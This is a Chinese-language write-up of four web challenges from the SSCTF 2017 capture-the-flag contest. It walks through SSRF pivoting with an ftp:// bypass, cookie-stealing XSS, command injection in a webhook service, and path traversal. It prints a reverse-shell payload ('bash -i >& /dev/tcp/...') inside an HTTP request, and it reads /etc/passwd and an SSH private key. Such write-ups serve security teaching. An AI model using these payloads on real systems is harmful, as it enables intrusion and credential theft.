[SSCTF 2017] web1-4 writeups
[CTF]
Name:捡吗? Rank:100
给了个页面,查看源码发现ssrf,根据自身的phpinfo找到本机内网IP:10.23.140.139,根据hint给出的 10.23.173.x 地址段进行扫描,找到 10.23.173.190,查看源码发现新IP:172.17.0.1
以下是当时记录的fuzz过程
一次跳板扫描内网
/news.php?url=10.23.173.190
host1 http://120.132.21.19/ (公)->10.23.140.139 (内)
host2 10.23.173.190 (内) -> 172.17.0.1(内)
以上地址端口扫描结果只有22和80
C段使用端口探测(无结果:22/80/443/23/6379-redis/8080/11211)
两次跳板扫描内网
/news.php?url=172.17.0.1/news.php%3Furl%3D127.0.0.1
公网120.132.21.19->172.17.0.1 ->172.17.0.0/24 未发现其他主机
公网120.132.21.19->10.23.173.190-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->10.23.173.190-> 172.17.0.0/24 未发现其他主机(和公网访问的一样)
公网120.132.21.19->172.17.0.1-> 10.23.173.0/24 未发现其他主机
公网120.132.21.19->172.17.0.1-> 127.0.0.1 未发现内容
公网120.132.21.19->10.23.173.190-> 127.0.0.1 未发现内容
这段fuzz用了好长时间最终也没有找到结果,后来hint告知了ftp协议才做出来。
最终payload是在大小写绕过的基础上用ftp协议fuzz 21端口得到的结果
http://120.132.21.19/news.php?url=10.23.173.190/news.php%3furl%3dftP%3a//172.17.0.2:21/flag.txt
这题在hint之前我自己并未想到使用ftp协议,原因是当时看到公网SSRF入口页面是这样给的:
<img src="./news.php?url=127.0.0.1/img.jpg">
而读到内网10.23.173.190之后的页面是这样给的:
<img src="./news.php?url=http://172.17.0.1/img.jpg">
当时我已经注意到这里多了个http协议,随后我在payload里加上http协议发现读不到内容,而去掉该协议能够读到内容,换成其他协议也读不到内容,因此猜想背后的php逻辑是这样的:
$url = 'http://'.$_GET['url']
在第二个页面里作者为了提示出第三个网段(172.17.0.1),肯定要手动修改这个页面,也许是习惯性的加了个HTTP。而且这是第一道WEB题,做两跳+fuzz已经对得起这100分了。
事实证明这个http://
是一个重要的线索,当时应该再心细一点,测试协议时候再试试绕过,这题就能够更早解出来。
Name:弹幕 Rank:200
碰巧拿了一血。访问主页是个弹幕留言板,Chrome开console发现已经被X,仔细一看XSS后台地址在这个web服务器上,于是明白这是主办方留的"XSS后门",然后向该后门地址发送script标签,无过滤直接打到cookie,cookie中拿到flag。
Name:白吗?全是套路 Rank:300
题如其名,全是套路。
当时记录的黑盒fuzz结果:
http://120.132.20.149/l.php phpstudy 的phpinfo
http://120.132.20.149/phpinfo.php phpinfo
http://120.132.20.149/phpMyAdmin/ 这个页面好像是静态的,无功能http://120.132.20.149/readme 有很多信息,同时readme.txt也有,很可能是主办方搅屎,不一定可信
web主页被注释的form里只有./submit.php能用,无论怎么提交都是
<script>alert('success');window.location.href='index.php'</script>
/admin的登录界面提交给/admin/check.php,这个页面随意修改参数返回的也都是一样的。
http://120.132.20.149/admin/main.php 固定返回一个<script>,估计也是假的。。。
后来师傅fuzz到了wwwroot.zip然后开始crack,最终发现zip也是假的。
最终队友在web1出了之后,得知SSRF第二跳可以变协议,用file://
协议读了本地路径,发现除了/submit.php之外都是静态页面,读取/submit.php源码:
通过三个线索判断这题是XSS:
- hint给出的“flag不在数据库中”
- 源码的“XSS”变量名
- 黑盒/readme指出的 "1.数据库中每增加一条ID,访问一次"
通过前台测试XSS成功,在referer中发现触发XSS的页面地址:
http://127.0.0.1/admin/b9557ee76eeb61cadda090855a47d266-1.php?id=77930
然后直接file协议读之,得到新路径js.php,再读之得到flag。
我们利用了web1的SSRF漏洞读取web3的源码才得以突破,可能是非预期解法。
那么另一个解法就是利用web3注释掉的这个form盲打XSS,然后从document.header.innerHTML 中得到 js.php 这一文件名,然后控制admin访问得到flag。
Name:WebHook Rank:500
一道Python审计题,过程中主办方根据选手流量多次热补丁,shell失而复得,最后通过文件读取拿到flag。
题目只给出源码 https://github.com/howmp/webhook 源码有6个commit,开赛的时候只有第一个commit,后面是比赛时上的补丁。
本地起环境,看了一下逻辑,得到代码在公网部署的地址,然后跟进os.system
很快发现两处命令执行。
这两个执行在build()函数的url参数和branch参数。
if not os.path.isdir(basedir):
r = os.system("git clone %s" % url)
if r != 0:
log.critical('%s clone error' % name)
return
else:
log.info('%s clone ok' % name)
env = 'GIT_DIR="%s/.git" GIT_WORK_TREE="%s/" ' % (basedir, basedir)
# change branch
r = os.system(env + "git checkout master && " + env +
"git pull && " + env + " git checkout %s" % branch)
继续跟进发现限制如下:
- url参数命令执行需要得到 SECRET_KEY
- branch参数的命令执行需要得知 repos.json 已有仓库的名字
branch参数RCE
访问公网http://webhook.ssctf.seclover.com:8000/webhooklog
找了一个别人用过的仓库名,通过branch参数的命令执行反弹了第一个shell
POST /push HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Content-Type: application/json
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Connection: close
Content-Length: 101
{"repository":{"name":"flag"},"ref":"refs/heads/test || bash -i >& /dev/tcp/x.x.x.x/x 0>&1"}
拿下shell后进去开始找flag,过程中ps一下发现别人也进来了,当时为了抢一血也没管那么多,找了一会发现服务器挂了。
再次上线的时候主办方说发公告说这个漏洞已经补啦,同时在github更新了代码。
这个patch中直接写死了branch参数导致该漏洞无法再被利用。
url参数RCE(1)
url参数的利用稍微复杂,需要先通过addrepo()函数修改repos.json,其中有一行校验权限。
if key != md5.md5(repo + app.config['SECRET_KEY'] * 20 + repo).hexdigest():
abort(403)
这里幸亏我刚刚拿shell的时候cat了源码,看到了SECRET_KEY='ssctf',然后过了这个检验,写入成功,然后执行拿shell。
然后官方发布第二个patch补了这个漏洞。
url参数RCE(2)
这个patch修补方案是用正则过滤了一下url参数。
m = re.search(r'https://(github\.com|git\.coding\.net)/\w+/(\w+)\.git', url)
if not m:
abort(403)
显然正则是可以绕过的:https://github.com/xxx/xxx.git || shell
然而官方又甩来一记补丁。
补丁更新了正则,看样子是过不去了。
r'^https://(github\.com|git\.coding\.net)/\w+/(\w+)\.git$'
任意文件读取
这个时候我发现一血已经出了,索性放松下来再去看源码,发现 dir_listing() 函数一处登录后的文件读取:
@app.route('/', defaults={'req_path': ''})
@app.route('/<path:req_path>')
@auth.login_required
def dir_listing(req_path):
BASE_DIR = os.path.join(app.root_path, 'outfile', session['repo'])
# Joining the base and the requested path
abs_path = os.path.join(BASE_DIR, req_path)
if os.path.isfile(abs_path):
return send_file(abs_path)
这里输入req_path的输入是在路由中。利用方式是首先通过 SECRET_KEY 构造 addrepo() 的 key 参数。
>>> md5.md5('pocserver'+s*20+'pocserver').hexdigest()
'7d6b51081d6daa9afcff082359c20d2d'
然后通过GET /addrepo上传一个repo,注意url要真实有效,repo/pass参数为自己设置的登录名和密码。
http://webhook.ssctf.seclover.com:8000/addrepo?repo=pocserver&key=7d6b51081d6daa9afcff082359c20d2d&url=https://github.com/Xyntax/pocserver.git&pass=fff
上传返回OK后,GET / 填入repo和pass完成登录后通过路由即可读取任意文件。
GET /../../../../../../etc/passwd HTTP/1.1
Host: webhook.ssctf.seclover.com:8000
Cache-Control: max-age=0
Authorization: Basic cG9jc2VydmVyOmZmZg==
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: session=eyJyZXBvIjp7IiBiIjoiY0c5amMyVnlkbVZ5In19.C--N3Q.I4NedA1Bak0NauDznRmYm-UMo2w
Connection: close
最终在 .bash_history 中看到管理员指向性操作。
然后读取 /home/www-root/.ssh/id_rsa 复制到本地
登录clone该项目,拿到flag
随后官方又更新了两个patch修复该漏洞
期待大佬们的其他思路。